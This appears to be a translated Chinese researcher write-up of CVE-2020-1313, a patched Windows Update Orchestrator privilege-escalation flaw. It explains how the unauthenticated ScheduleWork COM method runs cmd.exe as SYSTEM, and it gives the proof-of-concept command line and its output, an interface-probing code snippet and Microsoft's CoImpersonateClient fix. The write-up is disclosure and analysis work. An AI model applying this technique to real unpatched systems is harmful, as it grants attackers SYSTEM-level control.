Windows 更新编排器服务(Windows Update Orchestrator Service)是一个 DCOM 服务,其他组件使用它来安装已下载的 Windows 更新。由于对调用者的授权不当,USO 存在权限提升漏洞(任意用户提升至本地系统)。该漏洞影响 Windows 10 和 Windows Server Core 产品。微软已在 2020 年 6 月补丁星期二中修复。
UniversalOrchestrator 服务(9C695035-48D2-4229-8B73-4C70E756E519)在 usosvc.dll 中实现,以 NT_AUTHORITY\SYSTEM 身份运行,且对 BUILTIN\Users(以及其他组)配置了访问权限。尽管枚举该服务实现的 COM 类被阻止(OLEView.NET:查询 COM 接口出错 - ClassFactory 无法提供请求的类),但可以通过标准 COM API 调用获取 IUniversalOrchestrator 接口(c53f3549-0dbf-429a-8297-c812ba00742d)(由代理定义暴露)。该接口导出了以下 3 个方法:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
ScheduleWork 方法可用于在服务上下文中调度执行命令,并且无需请求者进行任何授权。尽管目标可执行文件本身必须是数字签名的且位于 c:\windows\system32 或 Program Files 中的公共文件下,但还可以指定命令行参数。这使得可以启动 c:\windows\system32\cmd.exe 并在 NT_AUTHORITY\SYSTEM 下获得任意代码执行,因此该问题属于本地权限提升。
该工作是“调度”的,不会立即启动。
我创建的 PoC 配置了一个“工作”,cmdLine 为 c:\windows\system32\cmd.exe,参数为:/c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
执行结果:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
已调度工作的条目被添加到注册表中:

指定的命令将在夜间(大约 23:20)执行(当没有用户交互时),或在 SLA 超过 3 天后执行。
当我无法通过 OleView.NET 获取 USO 服务的接口定义时,我创建了一个脚本遍历数百个 CLSID/IID 组合,期望在某些级别上能成功。大致如下:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
该方法的结果是:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
然后我开始逆向工程实现,并发现了上述流程。
微软在 2020 年 6 月补丁星期二中通过添加缺失的 CoImpersonateClient API 调用来修复此问题。
修复前的实现:

修复后的实现:

这有什么帮助?在处理请求的开头进行了模拟,因此更新注册表的 API 调用在调用者的安全上下文中执行。如果调用者对 HKEY_LOCAL_MACHINE 没有权限,则 uso API 方法将相应失败。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313